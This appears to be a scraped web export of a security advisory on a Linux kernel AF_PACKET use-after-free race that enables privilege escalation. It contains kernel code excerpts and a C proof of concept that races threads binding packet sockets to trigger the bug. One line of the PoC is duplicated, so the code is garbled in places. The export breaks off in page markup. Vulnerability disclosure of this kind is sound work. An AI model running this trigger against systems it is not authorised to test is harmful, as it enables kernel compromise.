{"id":13117,"date":"2018-08-15T14:19:13","date_gmt":"2018-08-15T22:19:13","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2018\/08\/15\/news-6884\/"},"modified":"2018-08-15T14:19:13","modified_gmt":"2018-08-15T22:19:13","slug":"news-6884","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2018\/08\/15\/news-6884\/","title":{"rendered":"SSD Advisory \u2013 Linux Kernel AF_PACKET Use After Free (packet_sock)"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Ori Nimron| Date: Wed, 15 Aug 2018 05:26:28 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<div class=\"pf-content\">\n<p><strong>Vulnerability Summary<\/strong><br \/> UAF vulnerability in Linux Kernel\u2019s implementation of AF_PACKET leads to privilege escalation. AF_PACKET sockets allow users to send or receive packets on the device driver level, which lets them implement their own protocol on top of the physical layer or sniffing packets including Ethernet and higher levels protocol and higher levels of the OSI model.<\/p>\n<p><strong>Credit<\/strong><br \/> An independent security researcher has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program.<\/p>\n<p><strong>Affected systems<\/strong><br \/> Ubuntu Desktop versions 14.04, 16.04, 17.10, and other Linux distributions with older kernel versions. The vulnerability has been resolved in the latest Linux Kernel version 4.17.11.<br \/> <span id=\"more-3731\"><\/span><br \/> <strong>Vulnerability Details<\/strong><br \/> A use-after-free can occur due to a race condition between\u00a0<em>fanout_add<\/em>\u00a0from setsockopt and bind on a AF_PACKET socket.<\/p>\n<p>Although the racing condition has been fixed here: <a href=\"http:\/\/github.com\/torvalds\/linux\/commit\/15fe076edea787807a7cdc168df832544b58eba6#diff-39c49c27f7a70091bcf94cbad241d0eb\">15fe076edea787807a7cdc168df832544b58eba6#diff-39c49c27f7a70091bcf94cbad241d0eb<\/a>. They failed to see a UAF could occur from the racing issue. The logic is that a packet_sock can be linked via its prot_hook member to one of the ptype_head linked list in \/net\/core\/dev.c. Each list is a list of function callbacks the Linux stack can call when a network packet is received or sent.<\/p>\n<p>The logic is that a packet_sock can be linked via its prot_hook member to one of the ptype_head linked list in \/net\/core\/dev.c. Each list is a list of function callbacks the Linux stack can call when a network packet is received or sent, as discussed in the first advisory about AF_PACKET (<a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3484\">https:\/\/blogs.securiteam.com\/index.php\/archives\/3484<\/a>)<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b74a6df543f9482503004\" class=\"crayon-syntax crayon-theme-sublime-text crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">C<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> static inline struct list_head *ptype_head(const struct packet_type *pt)  {  \tif (pt-&gt;type == htons(ETH_P_ALL))  \t\treturn pt-&gt;dev ? &amp;pt-&gt;dev-&gt;ptype_all : &amp;ptype_all;  \telse  \t\treturn pt-&gt;dev ? &amp;pt-&gt;dev-&gt;ptype_specific :  \t\t\t\t &amp;ptype_base[ntohs(pt-&gt;type) &amp; PTYPE_HASH_MASK];  }    void dev_add_pack(struct packet_type *pt)  {  \tstruct list_head *head = ptype_head(pt);    \tspin_lock(&amp;ptype_lock);  \tlist_add_rcu(&amp;pt-&gt;list, head);  \tspin_unlock(&amp;ptype_lock);  }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0023 seconds] -->  <\/p>\n<p>register_prot_hook() and __unregister_prot_hook() in \/net\/packet\/af_packet.c can both be reached via packet_do_bind() and packet_notifier() without any locks held. Which ptype_head list it is added to only depends on po-&gt;num. When a thread A unregisters it from packet_do_bind(), a second thread B can rapidly call packet_notifier() to register it again on the same list, before thread A continues with <code>po-&gt;num = proto<\/code>:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b74a6df54402101732812\" class=\"crayon-syntax crayon-theme-sublime-text crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">C<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> static int packet_do_bind(struct sock *sk, const char *name, int ifindex,  \t\t\t  __be16 proto)  {  \t&#8230;  \tif (need_rehook) {  \t\tif (po-&gt;running) {  \t\t\trcu_read_unlock();  \t\t\t__unregister_prot_hook(sk, true);  \t&#8230;  \tpo-&gt;num = proto;  \tpo-&gt;prot_hook.type = proto;  \t&#8230;  \tif (!unlisted &amp;&amp; (!dev || (dev-&gt;flags &amp; IFF_UP))) {  \t\t\tregister_prot_hook(sk);  \t&#8230;    }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54402101732812-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54402101732812-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54402101732812-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54402101732812-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54402101732812-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54402101732812-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54402101732812-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54402101732812-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54402101732812-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54402101732812-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54402101732812-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54402101732812-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54402101732812-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54402101732812-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54402101732812-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54402101732812-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54402101732812-17\">17<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54402101732812-1\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">packet_do_bind<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sock<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">sk<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">name<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ifindex<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54402101732812-2\"><span class=\"crayon-h\">\t\t\t&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__be16 <\/span><span class=\"crayon-v\">proto<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54402101732812-3\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54402101732812-4\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54402101732812-5\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">need_rehook<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54402101732812-6\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">po<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54402101732812-7\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-e\">rcu_read_unlock<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54402101732812-8\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-e\">__unregister_prot_hook<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">sk<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54402101732812-9\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54402101732812-10\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">po<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">num<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">proto<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54402101732812-11\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">po<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">prot_hook<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">type<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">proto<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54402101732812-12\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54402101732812-13\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">unlisted<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">dev<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">||<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">dev<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">flags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IFF_UP<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54402101732812-14\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-e\">register_prot_hook<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">sk<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54402101732812-15\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54402101732812-16\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54402101732812-17\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0019 seconds] -->  <\/p>\n<p>which will add it into a new list. When releasing the socket in packet_release, we will release the one from the last linked list but forget that we have another one in the first original list from packet_create(), thus causing a UAF.<\/p>\n<p>We can get PC control by following the same logic as in the previously mentioned SSD article.<\/p>\n<p><strong>Poc<\/strong><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b74a6df54405392505543\" class=\"crayon-syntax crayon-theme-sublime-text crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">C<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> #define _GNU_SOURCE   #include &lt;stdio.h&gt;  #include &lt;stdlib.h&gt;  #include &lt;sys\/syscall.h&gt;  #include &lt;unistd.h&gt;  #include &lt;errno.h&gt;  #include &lt;signal.h&gt;  #include &lt;stdarg.h&gt;  #include &lt;stdint.h&gt;  #include &lt;sys\/prctl.h&gt;  #include &lt;sys\/resource.h&gt;  #include &lt;sys\/time.h&gt;  #include &lt;sys\/wait.h&gt;  #include &lt;string.h&gt;  #include &lt;sys\/types.h&gt;   #include &lt;sys\/socket.h&gt;  #include &lt;netinet\/in.h&gt;  #include &lt;arpa\/inet.h&gt;  #include &lt;linux\/if_ether.h&gt;  #include &lt;net\/ethernet.h&gt;  #include &lt;net\/if.h&gt;  #include &lt;linux\/sockios.h&gt;  #include &lt;sys\/ioctl.h&gt;  #include &lt;sched.h&gt;  #include &lt;sys\/stat.h&gt;  #include &lt;fcntl.h&gt;  #include &lt;stdbool.h&gt;  #include &lt;linux\/if_packet.h&gt;  #include &lt;pthread.h&gt;  #include &lt;ctype.h&gt;  #include &lt;sys\/mman.h&gt;  #include &lt;sys\/ipc.h&gt;  #include &lt;sys\/msg.h&gt;    bool write_file(const char* file, const char* what, &#8230;)  {  \tchar buf[1024];  \tva_list args;  \tva_start(args, what);  \tvsnprintf(buf, sizeof(buf), what, args);  \tva_end(args);  \tbuf[sizeof(buf) &#8211; 1] = 0;  \tint len = strlen(buf);    \tint fd = open(file, O_WRONLY | O_CLOEXEC);  \tif (fd == -1)  \t\treturn false;  \tif (write(fd, buf, len) != len) {  \t\tclose(fd);  \t\treturn false;  \t}  \tclose(fd);  \treturn true;  }    void setup_sandbox() {  \tint real_uid = getuid();  \tint real_gid = getgid();    \tif (unshare(CLONE_NEWUSER) != 0) {  \t\tperror(&#8220;unshare(CLONE_NEWUSER)&#8221;);  \t\texit(EXIT_FAILURE);  \t}    \tif (unshare(CLONE_NEWNET) != 0) {  \t\tperror(&#8220;unshare(CLONE_NEWUSER)&#8221;);  \t\texit(EXIT_FAILURE);  \t}    \tif (!write_file(&#8220;\/proc\/self\/setgroups&#8221;, &#8220;deny&#8221;)) {  \t\tperror(&#8220;write_file(\/proc\/self\/set_groups)&#8221;);  \t\texit(EXIT_FAILURE);  \t}  \tif (!write_file(&#8220;\/proc\/self\/uid_map&#8221;, &#8220;0 %d 1n&#8221;, real_uid)){  \t\tperror(&#8220;write_file(\/proc\/self\/uid_map)&#8221;);  \t\texit(EXIT_FAILURE);  \t}  \tif (!write_file(&#8220;\/proc\/self\/gid_map&#8221;, &#8220;0 %d 1n&#8221;, real_gid)) {  \t\tperror(&#8220;write_file(\/proc\/self\/gid_map)&#8221;);  \t\texit(EXIT_FAILURE);  \t}    \tcpu_set_t my_set;  \tCPU_ZERO(&amp;my_set);  \tCPU_SET(0, &amp;my_set);  \tif (sched_setaffinity(0, sizeof(my_set), &amp;my_set) != 0) {  \t\tperror(&#8220;sched_setaffinity()&#8221;);  \t\texit(EXIT_FAILURE);  \t}    \tif (system(&#8220;\/sbin\/ip link set dev lo up&#8221;) != 0) {  \t\tperror(&#8220;system(\/sbin\/ip link set dev lo up)&#8221;);  \t\texit(EXIT_FAILURE);  \t}    \tprintf(&#8220;[.] namespace sandbox setup successfullyn&#8221;);  }    void *trigger(void *unused)  {  \tstruct ifreq ifreq;  \tstruct sockaddr_ll addr1, addr2;  \tint index;    \tint fd = socket(AF_PACKET, SOCK_DGRAM, PF_PACKET);int fd = socket(AF_PACKET, SOCK_DGRAM, PF_PACKET);int fd = socket(AF_PACKET, SOCK_DGRAM, PF_PACKET);int fd = socket(AF_PACKET, SOCK_DGRAM, PF_PACKET);    \tmemcpy(&amp;ifreq.ifr_name, &#8220;lo&#8221;, 3);  \tioctl(fd, SIOCSIFFLAGS, &amp;ifreq);    \tifreq.ifr_flags = IFF_UP;  \tioctl(fd, SIOCSIFFLAGS, &amp;ifreq);  \t  \tioctl(fd, SIOCGIFINDEX, &amp;ifreq);  \tindex = ifreq.ifr_ifindex;    \taddr1.sll_family = AF_PACKET;  \taddr1.sll_ifindex = index;  \tbind(fd, (struct sockaddr *)&amp;addr1, sizeof(addr1));    \taddr2.sll_family = AF_PACKET;  \tbind(fd, (struct sockaddr *)&amp;addr2, sizeof(addr2));    \tclose(fd);  }    #define NB_T 20  int main()  {  \tint i;    \tsetup_sandbox();  \tdo {  \t\tpthread_t trigger_tasks[NB_T];    \t\tfor (i = 0; i &lt; NB_T; ++i)  \t\t\tpthread_create(&amp;trigger_tasks[i], NULL, trigger, NULL);    \t\tfor (i = 0; i &lt; NB_T; ++i)  \t\t\tpthread_join(trigger_tasks[i], NULL);    \t} while (1);    \treturn 0;  }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-58\">58<\/div>\n<div 